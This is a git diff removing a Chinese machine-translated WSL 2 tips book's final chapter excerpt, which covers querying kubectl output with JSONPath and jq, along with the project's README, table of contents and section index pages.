负载均衡器*和这可能需要几分钟规定——注意`EXTERNAL_IP`的``值在输出显示负载均衡器的过程中被提供。 在下一节中,我们将看看如何查询这个 IP 地址。 - -## 使用 JSONPath 查询 - -正如我们刚才看到的,服务的外部 IP 地址在创建服务之后并不能立即可用,因为需要配给和配置 Azure 负载平衡器。 通过获取 JSON 格式的服务输出,我们可以看到它在底层数据结构中的样子: - -```sh -$ kubectl get services chapter-11-04 -o json -{ - "apiVersion": "v1", - "kind": "Service", - "metadata": { - "name": "chapter-11-04", - "namespace": "default", - ... - }, - "spec": { - ... - "type": "LoadBalancer" - }, - "status": { - "loadBalancer": {} - } -} -``` - -这里,我们看到应用`-o json`选项后截断的 JSON 输出。 注意`status`下的`loadBalancer`属性的空值。 如果我们等待一段时间,然后重新运行该命令,我们将看到以下输出: - -```sh - "status": { - "loadBalancer": { - "ingress": [ - { - "ip": "20.50.162.63" - } - ] - } - } -``` - -在这里,我们可以看到`loadBalancer`属性现在包含一个带有 IP 地址数组的`ingress`属性。 - -可以使用`kubectl`内置的`jsonpath`功能直接查询 IP 地址: - -```sh -$ kubectl get service chapter-11-04 \ - -o jsonpath="{.status.loadBalancer.ingress[0].ip}" -20.50.162.63 -``` - -这里,我们使用`-o jsonpath`来提供一个 JSONPath 查询:`{.status.loadBalancer.ingress[0].ip}`。 这个查询直接映射到我们想要查询的 JSON 结果的路径上。 有关 JSONPath(包括在线交互式评估器)的更多详细信息,请参见[https://jsonpath.com/](https://jsonpath.com/)。 在脚本中使用这种技术非常方便,并且附带的代码有一个`scripts/wait-for-load-balancer.sh`脚本,该脚本等待负载平衡器被配给,然后输出 IP 地址。 - -直接与`kubectl`一起使用 JSONPath 是很方便的,但是与`jq`相比,JSONPath 有一定的局限性,而且有时我们需要进行切换。 下面我们将讨论其中一个场景。 - -## 拓展网站 - -我们刚刚创建的 Deployment 只运行`nginx`Pod 的单个实例。 我们可以通过运行以下命令看到这一点: - -```sh -$ kubectl get pods -l app=chapter-11-04 -NAME READY STATUS RESTARTS AGE -chapter-11-04-f4965d6c4-z425l 1/1 Running 0 10m -``` - -这里,我们列出了与`app=chapter-11-04`标签选择器匹配的 Pods,标签选择器是在我们应用的`deployment.yaml`定义中指定的。 - -Kubernetes 部署资源提供的特性之一是能够轻松地增加部署的 pod 数量: - -```sh -$ kubectl scale deployment chapter-11-04 --replicas=3 -deployment.apps/chapter-11-04 scaled -``` - -在这里,我们指定要扩展的部署和希望扩展到的实例数量(`replicas`)。 如果我们再次查询 pod,我们现在将看到三个实例: - -```sh -$ kubectl get pods -l app=chapter-11-04 -NAME READY STATUS RESTARTS AGE -chapter-11-04-f4965d6c4-dptkt 0/1 Pending 0 12s -chapter-11-04-f4965d6c4-vxmks 1/1 Running 0 12s -chapter-11-04-f4965d6c4-z425l 1/1 Running 0 11 -``` - -该输出列出了部署的三个 pod,但是注意其中一个处于`Pending`状态。 原因是,Deployment 定义为每个 Pod 请求一个完整的 CPU,但集群只有两个工作节点。 虽然运行每个节点的机器有两个 cpu,但其中一些 cpu 是留给工作节点进程本身的。 尽管这个场景是特意构造来演示使用`kubectl`进行查询的,但是遇到类似的问题是很常见的。 - -在发现一个没有运行的 Pod 后,我们可以进一步调查它: - -```sh -$ kubectl get pod chapter-11-04-f4965d6c4-dptkt -o json -{ - "metadata": { - ... - "name": "chapter-11-04-f4965d6c4-dptkt", - "namespace": "default", - }, - ... - "status": { - "conditions": [ - { - "lastTransitionTime": "2020-09-27T19:01:07Z", - "message": "0/2 nodes are available: 2 Insufficient cpu.", - "reason": "Unschedulable", - "status": "False", - "type": "PodScheduled" - } - ], - } -} -``` - -这里,我们有请求未运行 Pod 的 JSON,截断的输出显示了`conditions`属性。 其中有一个条目表明 Pod 不能被调度(也就是说,Kubernetes 在集群中找不到运行它的地方)。 在下一节中,我们将编写一个查询来查找不能从 pod 列表中调度的任何 pod。 - -## 使用 jq 查询 - -让我们看看如何编写查询来查找具有 `PodScheduled`类型条件且`status`设置为`False`的任何 pod。 首先,我们可以通过以下命令获取 pod 的名称: - -```sh -$ kubectl get pods -o json | \ - jq '.items[] | {name: .metadata.name}' -{ - "name": "chapter-11-04-f4965d6c4-dptkt" -} -{ - "name": "chapter-11-04-f4965d6c4-vxmks" -} -... -``` - -这里,我们将 JSON 输出通过管道从`kubectl`传送到`jq`,并使用选择器为输入`items`数组中的每个项提取`metadata.name`作为输出中的`name`属性。 这使用了我们在本章前面看到的相同的技术——参见*Using jq*一节了解更多细节。 - -接下来,我们想要包含`status`属性中的条件: - -```sh -$ kubectl get pods -o json | \ - jq '.items[] | {name: .metadata.name, conditions: .status.conditions} ' -{ - "name": "chapter-11-04-f4965d6c4-dptkt", - "conditions": [ - { - "lastProbeTime": null, - "lastTransitionTime": "2020-09-27T19:01:07Z", - "message": "0/2 nodes are available: 2 Insufficient cpu.", - "reason": "Unschedulable", - "status": "False", - "type": "PodScheduled" - } - ] -}{ - ... -} -``` - -这里,我们让包含了所有的条件,但是由于我们只查找那些没有被安排的条件,所以我们希望只包含特定的条件。 为此,我们可以使用`jq``select`过滤器,它处理一个值数组,并通过那些匹配指定条件的值。 这里,我们将使用它来过滤状态条件,只包括那些设置`type`为`PodScheduled`和`status`为`False`的状态: - -```sh -$ kubectl get pods -o json | \ - jq '.items[] | {name: .metadata.name, conditions: .status.conditions[] | select(.type == "PodScheduled" and .status == "False")}' -{ - "name": "chapter-11-04-f4965d6c4-dptkt", - "conditions": { - "lastProbeTime": null, - "lastTransitionTime": "2020-09-27T19:01:07Z", - "message": "0/2 nodes are available: 2 Insufficient cpu.", - "reason": "Unschedulable", - "status": "False", - "type": "PodScheduled" - } -} -``` - -这里,我们将`select(.type == "PodScheduled" and .status == "False")`应用于分配给`conditions`属性的条件集合。 查询的结果只是具有失败状态条件的单个项。 - -我们可以对查询做一些最后的调整: - -```sh -$ kubectl get pods -o json | \ - jq '[.items[] | {name: .metadata.name, conditions: .status.conditions[] | select(.type == "PodScheduled" and .status == "False")} | {name, reason: .conditions.reason, message: .conditions.message}]' -[ - { - "name": "chapter-11-04-f4965d6c4-dptkt", - "reason": "Unschedulable", - "message": "0/2 nodes are available: 2 Insufficient cpu." - } -] -``` - -这里,我们对选择器做了几个最后的更新。 第一种方法是将前面的选择器的结果管道到`{name, reason: .conditions.reason, message: .conditions.message}`中,从而只提取出我们在输出中感兴趣的字段,使输出更易于阅读。 第二种方法是将整个选择器包装在方括号中,以便输出为 JSON 数组。 这样,如果有多个无法调度的豆荚,我们将得到有效的输出,如果我们想进一步处理的话。 - -如果你发现自己经常使用这个命令,你可能想将它保存为一个 bash 脚本,甚至将它作为别名添加到你的`.bashrc`文件中: - -```sh -alias k-unschedulable="kubectl get pods - json | jq '[.items[] | {name: .metadata.name, conditions: .status.conditions[] | select(.type == \"PodScheduled\" and .status == \"False\")} | {name, reason: .conditions.reason, message: .conditions.message}]'" -``` - -在这里,我们为命令创建了一个`k-unschedulable`别名,用于列出不可调度的 pod。 注意,引号(`"`)已用反斜杠(`\"`)转义。 - -这种技术可以应用于 Kubernetes 中的各种资源。 例如,Kubernetes 中的节点具有指示节点是否耗尽内存或磁盘空间的状态条件,可以修改该查询以方便识别这些节点。 - -但是,总的来说,我们遵循了一个通用模式,即从获取感兴趣的资源的 JSON 输出开始。 在这里,如果您想要检索的值是一个简单的值,那么 JSONPath 方法是一个很好的选择。 对于更复杂的过滤或输出格式化,`jq`是工具箱中一个方便的工具。 Kubernetes 拥有丰富的资源信息集,可以轻松使用`kubectl`,其 JSON 输出为您提供强大的查询功能。 - -现在我们已经完成了集群,我们可以删除包含的资源组: - -```sh -az group delete --name wsltips-chapter-11-04 -``` - -这个命令将删除我们一直在使用的`wsltips-chapter-11-04`资源组以及我们在其中创建的所有资源。 - -在本节中,您讨论了从为`kubectl`设置 bash 完成以提高键入`kubectl`命令时的效率到使用`kubectl`查询 Kubernetes 集群中资源信息的方法。 无论您是查询特定资源的单个值,还是过滤资源集上的数据,使用这里的技术都为您的工作流脚本化步骤提供了巨大的机会。 - -# 总结 - -在本章中,您看到了改进在 WSL 中使用 Git 的方法。 您看到了如何为 Windows 配置 Git 凭据管理器,以便在 wsdl 中重用从 Windows 中保存的 Git 凭据,并在需要新的 Git 凭据时在 Windows 中提示您。 在此之后,您看到了查看 Git 历史的一系列选项,并讨论了它们的优缺点,以帮助您选择正确的方法。 - -在本章的其余部分中,您看到了如何在 WSL 中处理 JSON 数据,首先深入探讨了`jq`和 PowerShell 的 JSON 功能。 在此背景下,您将看到一些通过使用`az`和`kubectl`部署使用 JSON 的示例。 除了介绍这些 CLIs 可能面临的场景外,这些示例还演示了可以应用于提供 JSON 数据的其他 CLIs(或 api)的技术。 能够有效地处理 JSON 数据将为您提供强大的功能,您可以在脚本中使用这些功能来节省时间。 - -这是本书的最后一章,我希望我已经设法传达了我对 WSL 2 及其带来的可能性的一些兴奋之情。 在 Windows 上享受 Linux 的乐趣!****** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/README.md b/docs/wsl2-tip-trick-tech/README.md deleted file mode 100644 index f3af7181..00000000 --- a/docs/wsl2-tip-trick-tech/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# WSL2 提示和技巧 - -> 原文:[Windows Subsystem for Linux 2 (WSL 2) Tips, Tricks, and Techniques](https://libgen.rs/book/index.php?md5=5EBC4B193F90421D3484B13463D11C33) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/wsl2-tip-trick-tech/SUMMARY.md b/docs/wsl2-tip-trick-tech/SUMMARY.md deleted file mode 100644 index 3707a89e..00000000 --- a/docs/wsl2-tip-trick-tech/SUMMARY.md +++ /dev/null @@ -1,16 +0,0 @@ -+ [WSL2 提示和技巧](README.md) -+ [零、前言](00.md) -+ [第一部分:简介、安装和配置](sec1.md) - + [一、Linux 下的 Windows 子系统简介](01.md) - + [二、为 Linux 安装和配置 Windows 子系统](02.md) - + [三、Windows 终端入门](03.md) -+ [第二部分:Windows 与 Linux 的必胜组合](sec2.md) - + [四、Windows 到 Linux 的互操作性](04.md) - + [五、Linux 到 Windows 的互操作性](05.md) - + [六、从 Windows 终端获取更多](06.md) - + [七、在 WSL 中使用容器](07.md) - + [八、使用 WSL 发行版](08.md) -+ [第三部分:在 Linux 下将 Windows 子系统用于开发](sec3.md) - + [九、Visual Studio Code 和 WSL](09.md) - + [十、Visual Studio Code 和容器](10.md) - + [十一、使用命令行工具提高效率的技巧](11.md) diff --git a/docs/wsl2-tip-trick-tech/sec1.md b/docs/wsl2-tip-trick-tech/sec1.md deleted file mode 100644 index 6b57f9f5..00000000 --- a/docs/wsl2-tip-trick-tech/sec1.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第一部分:简介、安装和配置 - -在本部分结束时,您将对 Linux 的 Windows 子系统是什么以及它与传统虚拟机的区别有一个概述。 您将能够为 Linux 安装 Windows 子系统,并将其配置为适合您的需要。 您还可以安装新的 Windows 终端。 - -本节由以下章节组成: - -[*第 1 章*](01.html#_idTextAnchor017)、*面向 Linux 的 Windows 子系统简介* - -[*第二章*](02.html#_idTextAnchor023)、*安装配置 Linux 下的 Windows 子系统* - -[*第三章*](03.html#_idTextAnchor037),*Windows 终端入门* \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/sec2.md b/docs/wsl2-tip-trick-tech/sec2.md deleted file mode 100644 index cb4cc93f..00000000 --- a/docs/wsl2-tip-trick-tech/sec2.md +++ /dev/null @@ -1,15 +0,0 @@ -# 第二部分:Windows 与 Linux 的必胜组合 - -本节将深入探讨跨 Windows 和 Linux 的 Windows 子系统工作的一些神奇之处,展示这两个操作系统是如何一起工作的。 您还将看到更多有效使用 Windows Terminal 的技巧。 最后,您还将看到如何在 wsdl 中使用容器,以及如何复制和管理您的 wsdl 发行版。 - -本节由以下各章组成: - -[*第四章*](04.html#_idTextAnchor047)、*Windows to Linux 互操作性* - -[*第五章*](05.html#_idTextAnchor054)、*Linux to Windows 互操作性* - -[*第六章*](06.html#_idTextAnchor069)、*从 Windows 终端获取更多* - -[*第七章*](07.html#_idTextAnchor082),*在 WSL 中使用容器* - -[*第八章*](08.html#_idTextAnchor098),*with WSL Distros* \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/sec3.md b/docs/wsl2-tip-trick-tech/sec3.md deleted file mode 100644 index 33c83cac..00000000 --- a/docs/wsl2-tip-trick-tech/sec3.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第三部分:在 Linux 下将 Windows 子系统用于开发 - -本节首先探讨 Visual Studio Code 为处理 WSL 发行版中的代码提供的强大功能。 您还将看到 Visual Studio Code 如何允许您在 WSL 中使用容器来构建独立且易于共享的容器化开发环境。 最后,我们将介绍在命令行实用程序中使用 JSON 的一些技巧和技巧,以及在 Azure 和 Kubernetes 命令行工具中使用的一些技巧。 - -本节由以下各章组成: - -[*第九章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL* - -[*第十章*](10.html#_idTextAnchor125),*Visual Studio Code 和容器* - -[*第 11 章*](11.html#_idTextAnchor148),*命令行工具的生产力提示* \ No newline at end of file diff --git a/index.html b/index.html index 91cbe78b..d5cdc931 100644 --- a/index.html +++ b/index.html @@ -24,10 +24,10 @@ window.$docsify = { loadNavbar: 'NAV.md', loadSidebar: 'SUMMARY.md', - name: '飞龙的 Linux 译文集', + name: 'FreeLearning Linux 译文集', auto2top: true, themeColor: '#852a18', - repo: 'opendoccn/flygon-linux-zh', + repo: 'opendoccn/freelearn-linux-zh', plugins: [window.docsPlugin], relativePath: true, bdStatId: '38525fdac4b5d4403900b943d4e7dd91',